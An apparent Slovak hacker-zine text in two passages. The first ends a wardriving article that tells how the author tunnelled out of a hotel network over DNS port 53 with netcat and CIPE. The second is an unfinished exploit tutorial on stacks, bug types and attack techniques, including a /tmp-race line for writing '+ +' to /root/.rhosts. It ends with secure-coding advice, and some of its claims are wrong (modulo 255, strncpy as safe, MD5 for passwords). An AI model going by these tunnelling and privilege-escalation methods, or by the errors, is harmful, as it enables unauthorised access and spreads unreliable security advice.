Takze pomocou nc som sa cez udp/sport53/dport53 pripojil na lhost priamo z hotela ;-) Problem bol v tom ze som nemohol riskovat ziadne ctrl+c/ctrl+d a pod. Zaroven som mal klasicky bindshellovsky terminal, cize ziadny :) V podstate do stacilo na to aby som sa telnetom pripojil na irc resp ivan na talker. No ale po chvili to chcelo troska vylepsit, aby sme mohli browsovat a tak :) Spravil som pomocou styroch NC tcp->udp ----- udp->tcp tunel :) Zial nebolo to dokonale a fical cez to len telnet, http proxy alebo ssh nie. Ale aspon som mal uz full terminal na lhoste a mohol som volnejsie makat..
Vtedy mi maxo radil nejaky tunelovaci soft z mendrejku, ktory bol ale len ako rpm cize nebol moc pouzitelny, tak som cez links a gugl hladal rozne konbinacie udp+ppp tunelov a podobne. Nakoniec som sa rozhodol pre CIPE.
Takze som pustil druhy ncat na dalsej ipecke na lhoste, dalsi ncat na notebooku a frcol som cez to take ze cipe.tgz. Na pocudovanie tento 200kb fajl presiel asi za 2 sekundy :) Nasledne po nastudovani instalacie a konfiguracie som rozbehol cipe PTP udp tunel medzi notebookom a lhostom na portoch 53/54 udp (54 na notebooku preto, lebo na 53 bezal ncat s tcsh).
Cize uz som mal full konekt na lhost ktory fical cez CIPE. Mohol som na lhoste spustit NAT a na notebooku si cez policy routing naroutovat fsetko cez cipe/lhost, ale na lhoste som mal problemy s natom (nebol povodne v jadre) takze som na lhoste zinstaloval squida a na notebooku nastavil proxac na nejakej 192.168.0.2 co bol lhost.
Nasledne som uz len popridaval ciped do startovacich skriptov na lhoste a notebooku, takze po reboote notebooku som mal hned konekt k plnej spokojnosti a mohol som trackovat www/ftp a vsetko ostatne ;-)
Prenosova rychlost bola okolo 260kB/s t.j. 2mbit/s . Stiahli sme si teda nejake filmy, mp3ky a vobec :)
maniac
P.S. priamo vnutri fornebu mali vsade cisco 802.11 wifi APcka, maixmalny pocet mi ich naratalo 15 v jednom meetingroome.
..no pekny zazitok z norska.. budeme velmi radi ak sa niekto chyti tych dat co sme dali dokopy a rozsiri ich o poznatky vo svojej geografickej oblasti. vynechali sme cele velke casti blavy ako dolne hony, racu, nove mesto, biskupice, devin, atd. teoreticky by slo potom takto nazhromazdene poznatky prezentovat na hysterke vo forme akejsi mapy ci databazy. no a samozrejme budeme velmi radi ak niekto preskenuje aj ine mesta.. urcite budu zaujimave kosice, zilina, presov, no a samozrejme praha ci brno.. ak by niekto z prislusnych miest chcel pomoc s metodikou ci hardwarom, ozvite sa na boarde a mozno si spravime prieskumny vylet do vasho mesta :) ono v podstate vam staci jeden notebook, mala omni antena a sadnut si na mestsku hromadnu dopravu - vyberte si nejaku linku ktora chodi krizom-krazom po meste.. :)
jo a mimochodom fotky z nasej jazdy su na http://hysteria.sk/prielom/pics/wifi-drive/
co nabuduce ? noo tu je nas maly "todo" zoznam veci ktore by sa mohli objavit v planovanom pokracovani tohto clanku v buducom prielome:
..a tiez skusit tie kryptovane siete. treba sa pripravit - budu pribudat. takato eterova anarchia ktoru sme zazili nemoze predsa trvat vecne, alebo ano !?
bezsnuram zdar !
antonio, antonio @hysteria.sk
maniac, maniac @hysteria.sk
pajka, pajkus @hysteria.sk
navrat na obsah
co ty na to ? board
Tento dokument sluzi ako uvod do problematiky vzdialenych a lokalnych exploitov. Hovori o vyuziti castych programatorskych chyb, pisani programov pre vniknutie do systemu a o moduloch jadra ako maskovacom mechanizme hackera. Obsahuje tiez strucny uvod do hackerskych utilit v UNIX-e. Ak ste uz ako-tak spoznali UNIX a chcete sa dostat hlbsie do tmavsich zakuti, tymto dokumentom treba zacat.
Historia UNIXu
Unix je operacny system, ktory vznikol v roku 1969 v Bellovych Laboratoriach. Najznamejsimi vyvojarmi pracujucimi na jeho vzniku boli Dennis Ritchie, Ken Thompson, M.D. McIlroy a J.F. Ossanna. Mal byt odpovedou na vladou a armadou podporovany projekt MULTICS, ktory sa ale opakovane omeskaval. Najskor bol pisany priamo v assembleri pre PDP7 a az neskor (1973) v novovyvinutom programovacom jazyku "C". To mu umoznovalo velmi vysoku prenositelnost po implementovani jazyka C na inych architekturach ako DEC PDP7/PDP10. Prvotnym zamerom horeuvedenych panov bolo vraj napisanie hry typu Space Invaders pre nevyuzitu PDP7-cku.
Z povodneho UNIX-u sa vyvinulo mnoho vetiev. Vsetky maju ale zakladne prvky rovnake - system sa sklada z jadra, pripadne modulov jadra, mnohych drobnych systemovych nastrojov a aplikacii. K zariadeniam sa pristupuje pomocou specialnych suborov, zvycajne v adresari /dev. System je dnes 32 (a viac) bitovy, viaculohovy (multitaskovy), podporuje vlakna (thready) - je preemptivny. Vacsina implementacii UNIXu splna normu POSIX (Portable Operating System Interface).
Dnes sa z komercnych UNIX-ov najcastejsie mozeme stretnut so systemami ako Solaris (SUN Microsystems), HP-UX (Hewlet-Packard), DIGITAL UNIX (TRU64-UNIX) (Digital/Compaq) pripadne AIX (IBM). Z volne siritelnych unixovych operacnych systemov su to najma Linux (mix vetiev BSD a SYSTEM V.) a Free BSD (BSD4.4 vetva). Unix sa vyznacuje vysokou stabilitou, skalovatelnostou a rozsiahlimi moznostami konfiguracie.
Strojovy jazyk, jazyk symbolickych adries (assembler)
Strojovy jazyk je kod, ktory je nacitavany procesorom z pamate a nasledne vykonavany. Je predstavovany bajtmi (byte), slovami (word) pripadne ich kombinaciami. Su to kombinacie intrukcii a dat. Aby clovek, ktory chce ovladat procesor na najnizsej urovni nemusel pracne pisat program v strojovom kode, bol vyvinuty jazyk symbolickych adries - assembler. V tomto jazyku mozme pisat program v cloveku zrozumitelnej forme a po preklade na binarny kod vykonavatelny procesorom. Data (operandy) predstavuju bajty, wordy, doublewordy, pripadne este vacsie datove typy. Byte ma tu vlastnost, ze sa da don ulozit cele cislo v rozsahu 0-255 (8 bitov). V pripade ze je vysledok aritmetickej operacie vacsi ako 255 a ma byt ulozeny do bajtu, vysledne cislo bude rovne vysledku operacie modulo 255, teda nie cislo, ktore by sme mozno ocakavali :). Zaroven sa nastavi indikator pretecenia (CF - Carry Flag). Toto je vlastne uplne najjednoduchsi priklad pretecenia (overflow). Velkost wordu zavysi od architektury o ktorej sa bavime. U wordu (v pripade 16 bit architektury) to je podobne, ale ukladane cislo moze mat rozsah 0-65535 (16 bitov), doubleword predstavuje 32 bitov, quadword uz obsahuje 64bitov. Pretecenie teda oznacuje operaciu (aritmeticku, ale aj logicku - tj. integer nebo cast overflow), ktorej vysledok presiahne moznosti pouziteho datoveho typu. Okrem aritmetickej a logickej operacie sa moze jednat aj o blokovu operaciu vyuzivajucu buffer - tu sa potom hovori o tzv buffer overflow (pretecenie vyrovnavacej pamate) a prave tato varianta bude casto spominana v tomto dokumente.
Priklad programu scitania v assembleri vyuzivajuceho volanie unixovej funkcie zobrazenia textu na terminal - printf. Jedna sa o disassembling (spatne prelozenie) kodu vygenerovanego kompilatorom gcc 2.95.3. K dissasemblovaniu bol pouzity debugovaci (ladiaci) program gdb verzie 5.0. Uvedene priklady sa budu tykat architektury linux/i386 pokial nebude uvedene inac.
Dump of assembler code for function main: 0x80483e4: push %ebp - ulozit puvodni ebp 0x80483e5 : mov %esp,%ebp - zacatek stack-frejmu do ebp 0x80483e7 : sub $0x18,%esp - vytvorit 24bajtovy frame 0x80483ea : movl $0x2,0xfffffffc(%ebp) - ulozime cislo 2 na adresu ebp-4 0x80483f1 : movl $0x3,0xfffffff8(%ebp) - ulozime cislo 4 na adresu ebp-8 0x80483f8 : mov 0xfffffffc(%ebp),%eax - cislo na ebp-4 do eax 0x80483fb : mov 0xfffffff8(%ebp),%edx - cislo na ebp-8 do edx 0x80483fe : lea (%edx,%eax,1),%ecx - ecx = eax + edx 0x8048401 : mov %ecx,0xfffffff4(%ebp) - vysledek v ecx uloz na adresu ebp-12 0x8048404 : mov 0xfffffff4(%ebp),%eax - precti z adresy ebp-12 do eax 0x8048407 : push %eax - uloz vysledek (argument pro printf) 0x8048408 : mov 0xfffffff8(%ebp),%eax - 2. operand scitani do eax 0x804840b : push %eax - uloz 2. operand scitani (-"-) 0x804840c : mov 0xfffffffc(%ebp),%eax - 1. operand scitani do eax 0x804840f : push %eax - uloz 1. operand scitani (pro printf) 0x8048410 : push $0x8048470 - uloz adresu adresu formatovaciho retezce pro printf 0x8048415 : call 0x8048300 - zavolaj podprogram (funkcia printf) 0x804841a : add $0x10,%esp - zrus predchozi pushnute argumenty 0x804841d : leave - zrus stack frejm 0x804841e : ret - navrat z podprogramu
Jazyk C
Jazyk C bol vyvinuty ako UNIX tiez v AT&T Bell Labs. Jeho tvorcom bol v roku 1972 Dennis Ritchie. C je na vyssej urovni ako assembler, ale stale na dostatocne nizkej, aby mohol programator pisat velmi efektivny kod. Programator je zodpovedny aj za integritu dat, samotny jazyk nerobi ziadne, alebo len minimalne kontroly toho co programator napise. Casto sa tu pouziva vyraz buffer, alebo pole. Jedna sa o suvisly blok pamate, v ktorom sa viac krat vyskytuju data rovnakeho typu. Staticke buffre su pevne definovane v zdrojovom kode a su alokovane pri nahravani programu v datovom segmente pamate. Dynamicke polia su definovane cez pointre a su vytvorene pocas behu programu v pridelenom segmente (pridelovanie zavysi od implementacie *alloc() v glibc). Vdaka obmedzeniam statickych poli sa vo vacsine programov stretneme s ich dynamickou verziou. Preto sa utoky vyuzivajuce modifikaciu zasobnika (Smashing the stack alebo stack overflows) zaoberaju prave dynamickymi poliami.
V jazyku C sa casto vyuzivaju datove typy ako napriklad integer, char a podobne. Tak ako v assembleri typ Word zalezal od architektury, tak je to v Cecku pri integeri.
Priklad programu scitania (zhodny s programom v assembleri):
/pr.0x3.1/ #include- nacitanie hlavickoveho suboru obsahujucu funkciu printf main() - vstup do programu - funkcia main { int a,b,c; - definovanie datoveho typu pre premenne a,b,c a = 2; - priradenie hodnoty premennej a b = 3; - priradenie hodnoty premennej b c = a + b ; - vysledok scitania premennej a s premennou b sa ulozi do premennej c printf("%d + %d = %d\n",a,b,c); - vypise sa vysledok }
UNIXove procesy a zasobnik (stack)
Bezici procesy na 32 bitovych intel systemech jsou zpravidla rozdeleny
na tri oblasti: text, data a stack. Na
zaciatku, pri spusteni programu sa oblast textu a dat nahra priamo do
aktivnej pamate. Data sa rozdelia na inicializovane data a neinicializovane
data oznacovane ako BSS. BSS data su umiestnene vyssie v pamati ako
inicializovane data, pricom oblast textu zaberie najnizsiu adresu
(najblizsiu k 0x00000000). BSS data niesu staticky ulozene v subore, pretoze
tato oblast byva alokovana blokom pamate vyplnenym nulami. V oblasti BSS
su ulozene informacie ako staticke premenne. Velkost datovej oblasti moze byt
modifikovana funkciou brk(), ktoru popisuje standart POSIX 2.9 (unistd.h).
V pripade ze bss-data alebo uzivatelsky zasobnik vyplitvaju pouzitelnu pamat,
beziaci proces je zablokovany a je naplanovne aby sa znova spustil s vacsim
mnozstvom pamate. Nova pamat je pridana medzi stackom a datovymi segmentami
v neinicializovanom regione.
Textovy region je read-only zdielany (mmapovane) vsetkymi procesmi spustajucimi subor.
Pokus o zapis do tohto regionu sa prejavi vyjimkou porusenim segmentacie
(segmentation violation). Toto je rozdiel oproti datovej a stack oblasti,
ktore su zapisovatelne a su samostatne pre kazdy proces.
Znazornenie UNIXoveho procesu v pamati (aktivny) a na disku (ulozeny).
0xFFF00000 +-------------------------------+ (vysoke adresy) | zasobnik jadra pre procesy | +-------------------------------+ | cervena zona | +-------------------------------+ | uzivatelska oblast | +-------------------------------+ | ps_retazce struktura | +-------------------------------+ | signalizacny kod | +-------------------------------+ - - | premenne prostredia | \ +-------------------------------+ \ | argv retazce | \ +-------------------------------+ | pointre prostredia | argumenty prikazoveho riadku +-------------------------------+ a premenne shellu | argv pointre | / +-------------------------------+ / | argc | / +-------------------------------+ - - | uzivatelsky zasobnik | | | | | V | | | | | | | | ^ | | | | | kopa (heap) | +-------------------------------+ +-----------------------+ | bss | | tabulka znakov | +-------------------------------+ - - - - - - - +-----------------------+ | inicializovane data | | inicializovane data | +-------------------------------+ - - - - - - - +-----------------------+ 0x00000000 | text | | text | (nizke adresy) +-------------------------------+ - - - - - - - +-----------------------+ proces v pamati | | | hlavicka linkeru | | a magicke cislo | | | +-----------------------+ subor na disku.
Zasobnik sa jednoznacne lisi od textu a dat. Nadolezitejsie je, ze zasobnik je dynamicky a urceny za behu, na rozdiel od statickych dat, ktore su jednoducho nahrane do pamate. S polozkami zasobnika sa pracuje systemom LIFO (Last In, First Out).
Pri sputani a ukoncovani standartnej funkcie C musi byt volana procedura 'uvod' alebo 'zaver', ktore ulozia dosavadne premenne, vytvoria miesto pre nove premenne a vice versa v pripade ukoncenia funkcie. Predchadzajuci FP (Frame Pointer) je ulozeny, vytvori sa novy FP a SP (stack pointer) pracuje s ohladom na jeho nove lokalne premenne. Tu je priklad:
/pr.0x4.1/ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); }V assembleri bude ekvivalent volania function() horeuvedenej funkcie nasledovny:
/pr.0x4.2/ pushl $3 ; uloz argument 3 pre function() pushl $2 ; uloz argument 2 pre function() pushl $1 ; uloz argument 1 pre function() call function ; zavolaj function() a uloz IP (Instruction Pointer) na vrch zasobnika
Tento kod ulozi 3 argumenty volanej funkcie odzadu do zasobnika a zavola function(). Instrukcia call ulozi IP (nasledujucej instrukcie za call-om) na vrch zasobnika. To zabezpeci, ze ked skonci podprogram, ktory bol zavolany a vykona instrukciu ret, nacita sa adresa IP zo zasobnika a program bude pokracovat na danej adrese.
Prva vec, ktora sa udeje vo funkcii je procedura 'uvod':
/pr.0x4.3/ pushl %ebp ; uloz frame pointer na zasobnik (sfp = saved frame pointer) movl %esp, %ebp ; zjisti adresu konce budouciho frame pointeruNajprv sa frame pointer - EBP ulozi do zasobnika. Aktualne SP sa nasledne zkopiruje do EBP, cim z neho vytvori novy Frame Pointer. Nakoniec sa procedura 'zaver' vyberie alokovat miesto pre lokalne premenne odpocitavanim ich velkosti od SP. Prekladac gcc zpravidla zarovnava vsechny promenne na zasobniku na nasobky wordu (zpravidla na 4 nebo 16 bajtu) to vysvetluje, preco je v tomto priklade od SP odratana hodnota 20. Zdrojovy kod v priklade pr.0x4.1 pouziva 5 bajtovy buffer, takze sme museli alokovat 2 wordy (8 bajtov) a pre 10 bajtovy buffer 3 wordy (12 bajtov). Teda oba buffre dokopy davaju 20 bajtov (a nie 15 ako by sa mohlo zdat), ked berieme do uvahy 4-bajtovu velkost slova na Intel x86 procesoroch.
Takto bude vyzerat blok pamate zahrnajuci uzivatelsky zasobnik:
+-----------------------+ |,,,,,,,argc,,,,,,,,,,,,| +=======================+ |..uzivatelsky.zasobnik.| +-----------------------+ | c | +-----------------------+ | b | +-----------------------+ | a | +-----------------------+ | ret | +-----------------------+ | sfp | +-----------------------+ | buffer1 | +-----------------------+ | buffer2 | +-----------------------+ |.......heap............| +=======================+ |,,,,,,,bss,,,,,,,,,,,,,| +-----------------------+
Programatorske chyby
Historia zneuzivania programatorskych chyb.
Najznamejsie pripady zneuzitia buffer overrunov
Druhy programatorskych chyb
Fandango on Core
V programovacom jazyku C sa tento vyraz pouziva pre vsetky pripady,
kedy sa pointer dostane mimo vymedzenych hranic, co sposobi core dump alebo
poskodenie pamate. Toto je zakladom stack smashing a heap/bss bezpectnostnych dier.
Mozme sa stretnut aj s inymi pomenovaniami, ale zvacsa pri tom ide opat
o nechcene operacie s dynamicky pridelenou pamatou. Tento vyraz je odvodeny
od Spanielskeho tanca ;-).
Overruns screw
Je to variacia Fandango on Core. Popisuje pripad, ked pracujeme za
koncom hranic definovaneho pola. Chybajuce testovanie hranic v jazyku C
vydatne podporuje tento jav. Takto sa chovajuci program je opat jednym so
zakladych prvkov pri stack smashing utoku.
Smashing, Trashing, Scribbing the Stack
Variacia overrun screw, vznikne zapisom za koniec definovaneho pola,
kedy prepiseme navratovu adresu v zasobniku. Program odskoci na nahodnu adresu a preplni
vstup velkym mnozstvom dat, co prepise pevne definovany buffer.
Aliasing, Stale, Dangling Pointer Bugs
Termin zauzivany uz v rokoch okolo 1960 pri programovacich jazykoch
Fortran a Algol. Je to skupina chyb, kedy program vyuziva viac ako jeden pointer,
alebo alias na pointer, ktory ma ukazovat na blok dynamicky pridelenej pamate.
Ak je pamat modifikovana pouzitim prveho aliasu a druhy s tym neratal
moze vzniknut neprijemny problem - nespojitost, alebo strata dat.
Bohr Bug
Jedna sa o chybu, ktora je opakovatelna. Teda vieme presne popisat
v akom pripade sa vyskytne. Tento vyraz je odvodeny z kvantovej fyziky.
Heisenbug
Vyraz opisujuci chybu, ktora zmizne akonahle sa nanu zameriame (napr. zapnutim debugu).
Moze ist napriklad o chybu, ktorej staci nepatrna zmena v systemovom prostredi,
alebo v pamati na to, aby sa neprejavila. Obcas sa zvykne nazyvat aj Mandelbug,
alebo Schroedinbug. Vysledkom je z pravidla fandango on core alebo stack smashing.
Tento vyraz je odvodeny z kvantovej fyziky.
Mandelbug
Chyba, ktorej prejav je prilis zlozity az nedeterministicky.
Tento vyraz bol odvodeny z Mandelbrotovej mnoziny.
Schroeding Bug
Nahodne, alebo aj umyselne najdena chyba v zdrojovom kode, alebo chyba ktora sa objavila
az pri neplanovanom vyuziti programu - nestandartny vstup, alebo podmienky behu.
Precedence loosage
V pripade vyrazu vyzivajuceho viacero aritmetickych operacii moze programator stratit prehlad nad ich
prioritou, resp. poradim vykonania.
Memory leak, Core leak (presakovanie pamate)
Program pri svojom behu dynamicky alokuje pamat a v pripade, ze ju nedealokuje spravne, zacne naberat
na velkosti. Moze sa stat ze vycerpa vsetku pamat systemu.
Deadlock
Nekonecka slucka ktora vznikne cakanim na priznak, ktory sa ale neobjavi, pretoze sa s jeho nastavenim
opat na nieco caka (napriklad na vykonanie uz cakajuceho programu).
Objavuje sa napriklad pri zamykani suborov dvomi aplikaciami.
Utocnicke techniky
Exploit
Co je to vlastne exploit? Je to program, ktory zneuziva chybu v inom
programe za ucelom ziskania privilegii, na ktore nemame opravnenie.
Exploity mozu byt lokalne - na ich spustenie musime mat uzivatelsky ucet na
cielovom pocitaci, alebo aspon shell pristup (napr. cez bindshell). Lokalne
chyby sa zvacsa tykaju suid programov, ktorym dame na vstup, alebo do
systemovych premennych data, ktore preplnia buffer nasej suid aplikacii a
docielime toho, ze sa z nami vlozenych dat stane kod, ktory sa spusti.
Dalej sa moze jednat o tmp-race - ked program s vyssimi privilegiami pri svojom behu
pouziva /tmp adresar (pristupny vsetkym uzivatelom) na uchovanie docasnych suborov.
Hacker moze vytvorit dopredu linku, ktora bude smerovat na subor, ktory sa ma
zobrazit/prepisat. Pokial je suid program zle napisany a nezisti ze taky
subor uz existuje (nezistuje pritomtost daneho suboru a nevytvara ho atomicky),
resp. ze to je link, utocnik docieli manipulacie so suborom na ktory smeruje
link s pravami suid programu. Takto mozme napr. do suboru /root/.rhosts vlozit
retazec '+ +', alebo precitat systemovy shadow subor.
Dalsia moznost je spravit utok na jadro, cez pipe, device, alebo /proc filesystem.
Vzdialeny exploit zneuziva chybu v aplikacii pocuvajucej na nejakom
tcp/udp porte, pripadne sledujucej traffic na sieti. V extremnom pripade by
bolo mozne uvazovat o remote exploite na ip-stack zariadenia na sieti. Pri
takychto utokoch sa jedna vacsinou o chybu v aplikacii, ked sa nedostatocne
kontroluje vstup (jeho velkost, esc sekvencie).
Priklad
Suid program po spusteni dostane uid/gid vlastnika suboru. O tom ci je alebo nieje program suid rozhoduje priznak suboru - suid bit. Jedinou autentifikaciou je zvacsa len uid/gid uzivatela, ktory binarku spusta. V pripade vyuzitia buffer overrunu na suid binarku hovorime o lokalnom utoku.
Priklad
Ochrana
Sniffinig
Sniffing je taktika, kedy utocnik vidi traffic na urovni sietoveho
adapteru. Tam su v pripade zdielanieho spojenia (napr. ethernet) zvacsa aj data urcene
nielen pre dany adapter. Este nebezpecnejsie je, ked prepne sietovy adapter do PROMISC rezimu.
Vtedy interface prijima aj take framy, ktore nemaju v l2 hlavicke svoju
mac adresu ako ciel. Vo vacsine pripadov sa jedna prave o PROMISC sniffing.
Priklad
Ochrana
Spoofing
Utocnik posiela packety (zvycajne udp/icmp) s inou zdrojovou adresou, ako je
jeho vlastna. Takto sa daju ucinne obist packet-filtre (firewally). Samozrejme
ak chce obet odpovedat, odpoveda nie utocnikovi ale nic netusiacej stanici,
ktora bola uvedena ako zdrojovoa adresa v hlavnicke spoofnuteho IP packetu.
Spoofing nefunguje pri TCP spojeniach, pretoze tu je potrebny 3-way handshaking.
Ochrana
ARP-poisoning
Tato technika sa pouziva v prepinanom prostredi (switch)
Ochrana
DNS-spoofing
Ked posle obet dns request na nejaku domenu a utocnik odpovie rychlejsie ako
dns server a zna ID query (napr hore spominany sniffing,
nebo ho proste uhadne), obet dostane zdanlive spravnou odpoved, ale od nespravneho
zdroje.
Ochrana
DNS-poisoning
Ochrana
Ochrana
DDoS
Ochrana
Virusy
Ochrana
Cervy
Ochrana
Trojske kone
Ochrana
MiM attack
Ochrana
Cross site scripting
Ochrana
BindShell
Ochrana
Buffer Overflow
Ochrana
Heap Overflow - prepsani malloc()-okovane pameti
Ochrana
Format String Overflow
Ochrana
Enviroment PATH attack
Ochrana
Ochrana
Utok cez mena suborov
Ochrana
World/Group writable/readable subory
Ochrana
RootKit
Bordelizator
Ochrana
Password Cracking
Ochrana
Obmedzenie bezpecnostnych chyb pri programovani
Vyvojari definuju chybu (error) ako ludsky omyl pri navrhu a tvorbe programu. Vady (faults) su prejavy chyb, ktore mozu viest k zlyhaniu (failure). Neuspech je odchylka od specifikacie programu. Zvycajne sa aj vady oznacuju ako chyby (resp. bugs).
V programe mozu byt chyby ale nemusia nutne sposobit problem pokial sa neprejavia zlyhanim. Testovanie ma viest k zlyhaniu pred tym ako sa program zacne pouzivat v ostrej prevadzke. Chyby v programe vznikaju tym, ze niekto urobil chybu, ci uz z neznalosti, uponahlanosti, neopatrnosti alebo z ineho dovodu. Vacsina unixoveho softwareu bola napisana bez detailnej specifikacie, preto sa casto stretavame s pojmom "it's not bug, it's feature.", ktory sa nas snazi presvedcit, ze "to nie je chyba, to je vymozenost".
Program beziaci so superuzivatelskymi pravami by mal byt napisany tak bezpecne ako je to len mozne. V najlepsom pripade je ihned po vykonani privilegovanej operacie (napr. po nabindovani na port <1024) zahodit superuzivatelske privilegia a dalej bezat ako bezny uzivatel. V pripade ze zlyha program beziaci s uid0, moze to viest k naruseniu celeho systemu.
Pri pisani programu treba mat v prvom rade jasny koncept, vediet presne ake budu vstupy a ake vystupy.
Specialne sa treba zamerat na vstupy, aby nemohli ziadnym sposobom 'prekvapit' nas program, napr. necakanym formatovanim, velkostou a podobne. Pred volanim systemovych funkcii je vhodne testovat parametre s ktorymi ich ideme volat. Oplati sa preverit aj systemove premenne. Funkciam, ktore nerobia kontrolu hranic pri praci s retazcami volitelnej dlzky sa treba vyhnut. Napriklad toto su "nebezpecne" funkcie - gets(), strcpy(), strcat() a tu ich bezpecne verize - fgets(), strncpy(), strncat().
Nasledujucim funkciam treba riadne prekontrolovat vstupne parametre, pretoze ich spravnym nastavenim je mozne sposobit preplnenie cieloveho buffra, pripadne interneho buffra s pevnou dlzkou - sprintf(), fscanf(), scanf(), sscanf(), vsprintf(), realpath(), getopt(), getpass(), streadd(), strecpy(), strtrns(). Samozrejme v systeme sa moze nachadzat plno dalsich potencialne nebezpecnych funkcii, ich bezpecnost zavysi na tom ako bezpecne sa pouziju. Pri pouziti funkcii je dobre si overit, ci beru do uvahy obmedzenie maximalnou dlzkou. Vsimnite si tiez, ci v dokumentacii nieje uvedene, ze funkcia vracia pointer na nejaky staticky ulozny priestor. Pri preplneni vstupu takehoto bufferu okamzite vznikne problem.
V Unixe mame z takmer kazdeho systemoveho volania navratovu hodnotu. Aj ked sme presvedceny, ze pouzite volanie write(), chdir(), chown() nemoze zlyhat, treba ratat s tym, ze vo vynimocnych pripadoch sa to predsa len moze stat. Utocnik/nahoda moze sposobit stav, ked systemove volanie zlyha a bez overenia navratoveho kodu sa o tom nedozvieme. Je teda dobre kontrolovat premennu errno a v pripade ze sa nerovna 1 ale nejakej zapornej hodnote, je vhodne podat o tom hlasenie a program ukoncit.
"Co si sam neurobis nemas" - tymto prislovim je dobre sa riadit aj pri programovani. Netreba sa spoliehat na systemove premenne, ktore by mali byt defaultne nastavene, taktiez signaly, umask, aktualny adresar atd. Pokial je to mozne, najefektivnejsi sposob ako vycistit systemove premenne je pouzit envp.
Pri programovani mozme pouzivat makro assert, ktore zaisti v pripade ze nejaka premenna neobsahuje hodnotu z definovaneho intervalu prerusenie programu s chybovou hlaskou. Treba si tu ale dat pozor na heisenbugy.
Dobrou pomockou moze byt logovanie na vsetkych podstatnych miestach. V pripade ze sa ma logovat cez syslog treba kontrolovat dlzku parametrov predavanych syslogu.
Pri kompilacii je dobre pouzit parameter -Wall, alebo aspon pred tym prebehnut zdrojaky lintom, ktory je schopny najst zakladne chyby.
Casto sa stava ze programator nedostatocne kontroluje subory. Nasa aplikacia totiz nieje jedina, ktora bezi a moze sa stat, ze ina pristupi k suboru po tom co sme otestovali jeho spravnost a pred tym ako ideme s nim pracovat. Preto je dobre nepouzivat postup access() a open(), ale radsej subor otvorit a az potom fchown(), fchmod(), alebo fstat().
Nieje vhodne nechavat v programe moznost volania noveho shellu. V dnesnom prostredi modernych unixov to uz nieje nutne. Rovnako sa treba vyvarovat volani system() a popen().
Pri otvarani suborov je dobre pouzit priznaky O_EXCL|O_CREAT v pripade ze subor nema existovat, resp O_CREAT ak uz existuje. Zaruci to spravne chybove hlasenia.
Na testovanie ci sa jedna o subor, alebo odkaz mozme pouzit lstat(). Netreba zabudnut, ze pokial je dany subor/linka vo verejne pristupnom adresari, moze sa to zmenit.. Najlepsie je pracovat so subormi v adresaroch nepristupnych pre ostatnych uzivatelov (samozrejme pokial je to mozne).
Ak potrebujete ukladat uzivatelske hesla na autentifikaciu uzivatelov, ukladajte ich miesto plaintext formatu v kryptovanej podobe. Dnes je najvyuzivanejsi MD5 hash, co nieje vlastne sifra, ale kontrolny sucet, ale na nase ucely posluzi velmi dobre.
Tvorba sietovych aplikacii
Neodporuca sa pouzivat porty sluzieb "natvrdo", ale cez volanie getservbyname().
Nedoverovat paketom len preto, ze prichadzaju z nizkych portov (<1024).
Nedoverovat paketom len kvoli ich IP adrese.
Pri zistovani mena hostu pouzivajte reverzne vyhladavanie aj so spatnym vyhladanim hosta.
Je vhodne pouzit nejaku metodu limitacie pre pripad cieleneho/nahodneho pretazenia.
Rozumne nastavovat timeouty na read/write zo siete.
Samozrejme treba dokladne kontrolovat vstup na velkost.
Moze byt vhodne pouzit auth sluzbu na prichodzie spojenia.
Skuste sa vyvarovat pouzitiu clear-text loginu/hesla pri prenose po sieti.
Podpora proxy (napriklad SOCKS) sa moze zist, ak to ma pre vas vyznam zahrnte ju do vasej aplikacie.
Logovanie do suboru/syslogu by mala byt samozrejmost.
Reakcia na signaly (napr. TERM) moze pomoct pri 'zmrznuti' aplikacie (napr. prilis vela timeoutov).
Pri spusteni je dobre zistit si, ci uz nieje na danom servri tato aplikacia spustena, aby nedoslo k zablokovaniu.
Pisanie SUID/SGID programov
Nepiste ich. Vacsinou je to zbytocne. (UNIX System Security - Patrick H. Wood and Stephen G. Kochman, Hayden Books, 1985)
Nepiste SUID SHELL scripty.
Pokial chcete pouzit SUID program len pre pristup k nejakym suborom, skuste pouzvazovat, ci by sa to nedalo vyriestit pomocou nastavenia GID jednotlivym uzivatelom. Pripadne ci by nestacil SGID program. Ak uz musi byt SUID vytvorte prenho specialneho uzivatela. Tiez je dobre obmedzit jeho spustanie pomocou skupinovych prav.
Ak potrebujete aby program prevadzal len jednu konkretnu operaciu s uid0, vytvorte k hlavnemu programu jeden jadnoucelovy maly, jednoduchy SUID program, ktory bude svedomite kontrolovat vstup z hlavneho programu. Vseobecne komunikacia hlavneho programu a tymto suidom musi byt co najdokonalejsia.
Program by mal po pouziti zvysenych privilegii ihned zrusit ich vplyv a vratit sa k efektivnym a realnym UID a GID, ktory ten program spustil.
Nevytvarajte prilis mnoho konfiguracnych moznosti v SUID programe, zbytocne sa tak zvysuje riziko chyby.
Pokial je to mozne, vymazte prostredie shellu a vytvorte nutne zaznamy sami. Premennu PATH IFS je dobre nastavit na vychodziu hodnotu, napriklad: putenv("PATH=/bin:/usr/bin"); putenv("IFS= \t\n"); Nasledne si overte, ci su tieto premenne nastavene korektne a ci sa v systeme nenachadzaju aj dalsie zmienky o tychto premennych.
Ak chcete spustat z vasej aplikacie dalsie programy, pouzivajte len volania execve(), exevc() a excl() a aj to s maximalnou opatrnostou. Nepouzivajte volanie execlp() a execvp(), pretoze tie pouzivaju premennu PATH.
Ak by nahodou musel umoznovat spustanie shellu, pred vykonanim uzivatelskeho prikazu nezabudnite na setgid(getid()) a setuid(getuid()).
Pri otvarani vsetkych suborov pouzivajte vzdy plne cesty. Nespoliehajte sa na aktualnu cestu po spusteni.
Linkujte program staticky, vyhnete sa tak problemov s podvrhnutymi kniznicami.
Pouzitie funkcie chroot()
Zvysenu bezpecnost systemu mozte ziskat pomocou volania chroot(). Toto volanie nastavi pre sputeny proces zadany korenovy adresar. Tym sa zamedzi pristupu do vyssich adresarov v stromovej strukture systemu. V pripade ze vas program potrebuje zdielane kniznice, musite mu ich nakopirovat do chrootovaneho prostredia, pripadne ho zkompilovat staticky. Pred pouzitim chrootu treba mysliet na syslog a je dobre bud spusit openlog(), alebo v chrootovanom prostredi vytvorit subor zariadenia /dev/log. Je dobre si uvedomit, ze ani chroot nie je vseliek. Dostatocne znaly utocnik sa moze vediet prebit aj z chrootu. Ztazit mu to mozete tak, ze chroote nechate naozaj len prikazy a subory, ktore tam nutne musia byt.
Buffer Overflow
Priklad pretecenia buffra:
